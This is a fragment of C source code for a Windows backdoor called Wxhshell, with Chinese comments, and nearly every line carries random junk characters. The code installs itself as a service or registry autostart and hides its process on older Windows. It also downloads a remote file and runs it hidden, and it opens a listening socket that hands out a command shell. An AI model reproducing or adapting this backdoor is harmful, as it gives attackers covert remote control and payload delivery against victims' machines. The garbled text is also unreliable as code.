DWORD ExitStatus; gb@Rx
DWORD PebBaseAddress; S)VuT0
DWORD AffinityMask; )U<4ul
DWORD BasePriority; j='Ne5X1
ULONG UniqueProcessId; mfG|K@ODM-
ULONG InheritedFromUniqueProcessId; aEXV^5;,pJ
} PROCESS_BASIC_INFORMATION; mwbkXy;8
'BAe>r_Pn
PROCNTQSIP NtQueryInformationProcess; f:7Y
ksDG8^9>]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ehxtNjA
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j])iyn~-Ke
Aplqxvth
HANDLE hProcess; "R*B~73
PROCESS_BASIC_INFORMATION pbi; v8*ZwF
NXeo&+F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5F^,7A4I0
if(NULL == hInst ) return 0; b%$S6.
b${Kj3(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rUlpo|B
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2#/ KS^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [FiXsYb.8
\vQ_:-A
if (!NtQueryInformationProcess) return 0; %Pa-fee
/6gRoQ%j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3J'a
if(!hProcess) return 0; J)jiI>
DT 9i<kl
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v{% /aw
2vWkAC;
CloseHandle(hProcess); &-cI|
=PZs'K
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <P pYl
if(hProcess==NULL) return 0; V
[4n'LcE
|4xo4%BQ>
HMODULE hMod; '(9YB9 i
char procName[255]; s-5wbi.C
unsigned long cbNeeded; o_:Qk;t
,|x\MHd?t_
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hd*Fc=>"Y
=L16hDk o
CloseHandle(hProcess); E(/ sXji!
3B"7VBK{
if(strstr(procName,"services")) return 1; // 以服务启动 ,9UCb$mh
8}K"IW
return 0; // 注册表启动 %L cH>sV
} Xv*}1PZH
SauHFl8?
// 主模块 ;r@!a!NLB
int StartWxhshell(LPSTR lpCmdLine) x.G"D(
{ [edH%S}\
SOCKET wsl; Q%M_
BOOL val=TRUE; eRVY.E<
int port=0; Q(blW
struct sockaddr_in door; 0k.v0a7%
w#<^RKk
if(wscfg.ws_autoins) Install(); R%W@~o\p]
`;}H%
port=atoi(lpCmdLine); U%n,XOJ
W7W3DBKtSm
if(port<=0) port=wscfg.ws_port; >Pyc[_j
F1\`l{B,\
WSADATA data; /Bm#`?(ia
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3~:0?Zuq
Vbo5`+NAis
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -3\7vpcdN
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); drs-mt8
door.sin_family = AF_INET; Y}K!`~n1S
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3)xb nRk
door.sin_port = htons(port); db^aL8
s`r-v/3l
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =9fEv,Jk
closesocket(wsl); HIsB|
return 1; }E,jR=@
} >eRZ+|k?N
b h*^{
if(listen(wsl,2) == INVALID_SOCKET) { CJm.K
closesocket(wsl); jp%+n
return 1; &0JK38(
} .hc|t-7f
Wxhshell(wsl); #n=A)#'my
WSACleanup(); E*OG-r
Q:pzL
"bT
return 0; di--:h/
;anG
F0x
} Z]CH8GS~<
;E_{Zji_e
// 以NT服务方式启动 eA_4,"{
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :7zI!edu
{ e)8iPu ..
DWORD status = 0; #(G&%I A|;
DWORD specificError = 0xfffffff; Zl*!pQ
N:.bnF(
serviceStatus.dwServiceType = SERVICE_WIN32; C_/oORvK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; jXQ_7
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *G4;
serviceStatus.dwWin32ExitCode = 0; Uw!v=n3#!
serviceStatus.dwServiceSpecificExitCode = 0; 6fiJ'
j@
serviceStatus.dwCheckPoint = 0; #SmWF|/
serviceStatus.dwWaitHint = 0; TMrmyvv
C}Q2UK-:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bB["Qd}Q
if (hServiceStatusHandle==0) return; `y(3:##p
S/|8'x{<
status = GetLastError(); f~Su F,o@h
if (status!=NO_ERROR) AKVmUS;70
{ TV}SKvu
serviceStatus.dwCurrentState = SERVICE_STOPPED; P'+*d#*S
serviceStatus.dwCheckPoint = 0; 9azPUf)
C
serviceStatus.dwWaitHint = 0; xnTky1zq
serviceStatus.dwWin32ExitCode = status; RXDk8)^
serviceStatus.dwServiceSpecificExitCode = specificError; 2= _.K(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %k~=iDk@
return; 1,E/So
} 9/Ls3U?
Fpb1.Iz
serviceStatus.dwCurrentState = SERVICE_RUNNING; K(?7E6\vO
serviceStatus.dwCheckPoint = 0; Tr8+E;;
serviceStatus.dwWaitHint = 0; l6~eb=u;9g
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `'/8ifKz
} udB}`<Q
@'QB rE
// 处理NT服务事件,比如:启动、停止 9M6&+1XE
VOID WINAPI NTServiceHandler(DWORD fdwControl) .IqS}Rh
{ ;O CYx[|
switch(fdwControl) @RjLDj+)S
{ ??F{Gli"C`
case SERVICE_CONTROL_STOP: n1QO/1}
:
serviceStatus.dwWin32ExitCode = 0; B\6\QQ;rUo
serviceStatus.dwCurrentState = SERVICE_STOPPED; fu`oDi
serviceStatus.dwCheckPoint = 0; <(v!Xj^yO
serviceStatus.dwWaitHint = 0; r`=d4dK-
{ 6l4l74
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *]LM2J
} B>R6j}rh'k
return; bV"0}|A~K
case SERVICE_CONTROL_PAUSE: *+ 7#z;
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7"gy\_M
break; h:|aQJG5
case SERVICE_CONTROL_CONTINUE: X/Ae-1!
serviceStatus.dwCurrentState = SERVICE_RUNNING; }}
IvZG&
break; (qaY,>je]D
case SERVICE_CONTROL_INTERROGATE: \t}!Dr+yN
break; q|~9%Pujg
}; d+_qBp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); TY?Fs-
} p%}oo#%J
*_ "j"{
// 标准应用程序主函数 /t816,i
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NK#f Gz*,(
{ :wIbKs.r
+;vfn>^!b
// 获取操作系统版本 j}y"
OsIsNt=GetOsVer(); RJ0w3T]7
GetModuleFileName(NULL,ExeFile,MAX_PATH); !4|7U\;
YYhRdU/g
// 从命令行安装 . uhP(
if(strpbrk(lpCmdLine,"iI")) Install(); ]]Wa.P~]O
rt f}4.
// 下载执行文件 K(hqDif*6
if(wscfg.ws_downexe) { mp}ZHuf G
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !bQ5CB
WinExec(wscfg.ws_filenam,SW_HIDE); 'peFT[1>(
} 7dAa~!/(
t;
"o,T
if(!OsIsNt) { Z(Xu>ap
// 如果时win9x,隐藏进程并且设置为注册表启动 D{c`H}/`
HideProc(); F$d`Umqs;P
StartWxhshell(lpCmdLine); n:HF&j4C,
} GQq2;%RrF
else NKO5c?ds
if(StartFromService()) HuG|BjP
// 以服务方式启动 z1s9[5
StartServiceCtrlDispatcher(DispatchTable); E:#VS~
else QH;1*
// 普通方式启动 kZfO`BVL
StartWxhshell(lpCmdLine); p5E|0p
XBCz\f
return 0; >wZ!1Jq
}